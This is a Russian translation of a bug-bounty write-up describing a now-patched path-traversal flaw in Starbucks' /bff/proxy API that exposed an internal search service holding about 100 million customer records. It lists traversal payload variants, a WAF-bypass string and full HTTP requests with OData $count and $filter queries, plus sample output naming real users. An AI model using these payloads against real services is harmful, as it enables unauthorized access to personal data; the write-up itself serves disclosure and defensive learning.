В этой статье пойдет речь о поиске уязвимостей в системе, которая используется компанией Starbucks, а также будет подробно описан список действий, ведущих к получению секретной информации о клиентах фирмы.
Пытаясь купить продукт на сайте Starbucks, человек не может не заметить множество вызовов API, которые сразу же кажутся подозрительными. Есть запросы, отправляемые через API с префиксом “/bff / proxy/», которые возвращают данные, идущие от другого хоста.
Поскольку в Starbucks работает программа Bug bounty, достаточно интересно будет изучить все ее возможности и имеющиеся уязвимости.
Ниже приведен пример одного из тех вызовов API, которые возвращают пользовательскую информацию:
POST /bff/proxy/orchestra/get-user HTTP/1.1 Host: app.starbucks.com
{ "data": { "user": { "exId": "77EFFC83-7EE9-4ECA-9049-A6A23BF1830F", "firstName": "Sam", "lastName": "Curry", "email": "samwcurry@gmail.com", "partnerNumber": null, "birthDay": null, "birthMonth": null, "loyaltyProgram": null } } }
Термин «bff» фактически расшифровывается как «Backend for Frontend» и указывает на то, что приложение, с которым взаимодействует пользователь, передает запрос на другой хост для получения своей фактической логики деятельности или функциональности в целом. Быстрый и чрезмерно упрощенный вариант того, как это может выглядеть, приведен на картинке ниже:
В приведенном выше примере хост «app.starbucks.com» не будет иметь доступа к логике или данным, к которым обращается конкретная конечная точка, но будет служить посредником для гипотетического второго хоста «internal.starbucks.com».
Здесь следует задать себе следующие вопросы:
- Как пользователь может проверить маршрутизацию приложения?
- Если приложение направляет запросы на внутренний хост, то как выглядит модель разрешений?
- Может ли пользователь контролировать пути или параметры запроса, отправленного на внутренний хост?
- Существует ли открытый редирект на внутреннем хосте, и если да, то будет ли приложение ему следовать?
- Должен ли возвращаемый контент соответствовать соответствующему типу: это синтаксический анализ JSON, XML или любых других данных?
Первое, что стоит сделать, — это попытаться выйти из вызова API, чтобы загрузить его другими путями. Метод, которым это может быть достигнуто, заключается в отправке следующих полезных нагрузок:
/bff/proxy/orchestra/get-user/..%2f /bff/proxy/orchestra/get-user/..;/ /bff/proxy/orchestra/get-user/../ /bff/proxy/orchestra/get-user/..%00/ /bff/proxy/orchestra/get-user/..%0d/ /bff/proxy/orchestra/get-user/..%5c /bff/proxy/orchestra/get-user/..\ /bff/proxy/orchestra/get-user/..%ff/ /bff/proxy/orchestra/get-user/%2e%2e%2f /bff/proxy/orchestra/get-user/.%2e/ /bff/proxy/orchestra/get-user/%3f (?) /bff/proxy/orchestra/get-user/%26 (&) /bff/proxy/orchestra/get-user/%23 (#)
К сожалению, ничего из этого не работает. Все они возвращают одну и ту же ошибку 404, которую обычно показывает при попытке загрузить страницу, которая отсутствует на сайте.
Это указывает на то, что только потому, что в запросе присутствовал “/bff/proxy”, он не смог перенести все, что отправлял пользователь.
В этом случае можно подумать о “/bff / proxy/orchestra/get-user » как о вызываемой функции, которая не принимает пользовательский ввод. Есть шанс, что имеется возможность найти ту функцию, которая действительно принимает пользовательский ввод, например “/bff/proxy/users/:id”, где будет место, чтобы проверить, какие данные она будет действительно принимать. Если бы был найден вызов API, подобный этому, вероятно, повезло бы больше. Однако, пытаясь обойти полезные нагрузки и отправить другие данные, пользователь понимает, что функции, на самом деле, принимали пользовательский ввод.
После были найдены еще несколько вызовов API. Первый из них, который принимал пользовательский ввод, был таким:
GET /bff/proxy/v1/me/streamItems/:streamItemId HTTP/1.1 Host: app.starbucks.com
Эта конечная точка отличалась от конечной точки «get-user», поскольку последний путь существовал как параметр, в который были введены произвольные входные данные. Если бы этот вход обрабатывался как путь во внутренней системе, то потенциально можно было бы бы пересечь его и получить доступ к другим внутренним конечным точкам.
К счастью, первый тест, который был проведен, вернул действительно хороший индикатор того, что есть возможность пересечь конечные точки:
GET /bff/proxy/stream/v1/users/me/streamItems/..\ HTTP/1.1 Host: app.starbucks.com{ "errors": [ { "message": "Not Found", "errorCode": 404, ...
Этот ответ JSON был таким же ответом JSON, как и любой другой обычный вызов API в разделе “/bff/proxy”. Это означало, что пользователь попал во внутреннюю систему и успешно изменил путь, по которому обращался. Следующим шагом нужно распланировать действия во внутренней системе, и лучший способ это сделать — добраться вниз, к самому «корню», определив первый путь, который уже вернул «400 ошибок».
К сожалению, сперва пользователь столкнулся с небольшой проблемой. Там был WAF, который не давал возможности добраться к «корню»:
GET /bff/proxy/stream/v1/users/me/streamItems/..\..\ HTTP/1.1 Host: app.starbucks.comHTTP/1.1 403 Forbidden
К счастью, WAF представляет собой достаточно хрупкую систему для взлома:
GET /bff/proxy/v1/me/streamItems/web\..\.\..\ HTTP/1.1 Host: app.starbucks.com{ "errors": [ { "message": "Not Found", "errorCode": 404, ...
В конце концов, после 7 пройденных путей была получена следующая ошибка:
GET /bff/proxy/v1/me/streamItems/web\..\.\..\.\..\.\..\.\..\.\..\.\..\ HTTP/1.1 Host: app.starbucks.com{ "errors": [ { "message": "Bad Request", "errorCode": 400, ...
Это означало, что корень внутреннего API будет находиться 6 путей назад, и можно будет отобразить его с помощью инструмента лобовой атаки каталога или просто Burp Suite и необходимого списка слов.
После этого были обнаружены сразу несколько путей в корне внутренней системы, когда пользователь наблюдал за HTTP-запросом, посылаемым к ней. Код перенаправления был возвращен с помощью Burp:
GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\. \..\.\..\.\..\.\search Host: app.starbucks.comHTTP/1.1 301 Moved Permanently Server: nginx Content-Type: text/html Content-Length: 162 Location: /search/
Теперь нужно сосредоточиться на каждом пути отдельно. После запуска сканирования стало понятно, что “v1” находился под «search», а под «v1» были скрыты «учетные записи» и «адреса».
Конечная точка «/search/v1/accounts» была поиском данных обо всех производственных учетных записях.
«/Search/v1/accounts» относился к Microsoft Graph, что давало доступ ко всем учетным записям Starbucks.
GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\. \..\.\..\.\..\.\search\v1\Accounts\ HTTP/1.1 Host: app.starbucks.com{ "@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts", "value": [ { "Id": 1, "ExternalId": "12345", "UserName": "UserName", "FirstName": "FirstName", "LastName": "LastName", "EmailAddress": "0640DE@example.com", "Submarket": "US", "PartnerNumber": null, "RegistrationDate": "1900-01-01T00:00:00Z", "RegistrationSource": "iOSApp", "LastUpdated": "2017-06-01T15:32:56.4925207Z" }, ... lots of production accounts
Кроме того, конечная точка «адресов» возвращала что-то подобное:
GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\. \..\.\..\.\..\.\search\v1\Addresses\ HTTP/1.1 Host: app.starbucks.com{ "@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Addresses", "value": [ { "Id": 1, "AccountId": 1, "AddressType": "3", "AddressLine1": null, "AddressLine2": null, "AddressLine3": null, "City": null, "PostalCode": null, "Country": null, "CountrySubdivision": null, "FirstName": null, "LastName": null, "PhoneNumber": null }, ... lots of production addresses
Это служба выглядела, как учет производственных счетов и адресов. После дальнейшего изучение сервиса, пользователь решает подтвердить его подозрения в наличии уязвимостей с помощью Microsoft Graph.
GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\ .\..\.\..\.\..\.\Search\v1\Accounts?$count=true Host: app.starbucks.com{ "@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts", "@odata.count":99356059 }
Добавив параметр «$count» из URL-адреса Microsoft Graph, можно понять, что служба имеет доступ почти к 100 миллионной клиентской базе. Злоумышленник может украсть эти данные, введя такие параметры, как «$skip» и «$count», чтобы получить все учетные записи пользователей.
Кроме того, чтобы точно найти конкретную учетную запись пользователя, мошенник может использовать параметр «$filter» :
GET /bff/proxy/stream/v1/users/me/streamItems/web\..\.\..\.\..\. \..\.\..\.\..\.\Search\v1\Accounts?$filter=startswith(UserName,'redacted') HTTP/1.1 Host: app.starbucks.com{ "@odata.context": "https://redacted.starbucks.com/Search/v1/$metadata#Accounts", "value": [ { "Id": 81763022, "ExternalId": "59d159e2-redacted-redacted-b037-e8cececdf354", "UserName": "redacted@gmail.com", "FirstName": "Justin", "LastName": "Gardner", "EmailAddress": "redacted@gmail.com", "Submarket": "US", "PartnerNumber": null, "RegistrationDate": "2018-05-19T18:52:15.0763564Z", "RegistrationSource": "Android", "LastUpdated": "2020-05-16T23:28:39.3426069Z" } ] }
Было еще несколько API, к которым можно было получить доступ. Некоторые из других конечных точек, которые были обнаружены, представали собой:
barcode, loyalty, appsettings, card, challenge, content, identifier, identity, onboarding, orderhistory, permissions, product, promotion, account, billingaddress, enrollment, location, music, offers, rewards, keyserver
Эти другие внутренние конечные точки, скорее всего (хотя и не точно), позволили бы хакеру получить доступ и изменить такие параметры, как платежный адрес, подарочные карты, награды и предложения.
К счастью, команда Starbucks очень быстро отреагировала на эту проблему и исправила ее в течение одного дня.
Итог
- Запросы к конечным точках в «/bff/proxy/» для “app.starbucks.com” были перенаправлены для получения и сохранения данных.
- Можно было обойти эти вызовы API, чтобы попасть в URL-адреса, которые не должны были находится на внутреннем хосте.
- Внутренний API имел открытый экземпляр Microsoft Graph, который позволил бы злоумышленнику эксфильтрировать почти 100 миллионов записей пользователей, включая имена, электронные письма, телефонные номера и адреса.
Автор переведенной статьи: Hungry Bytes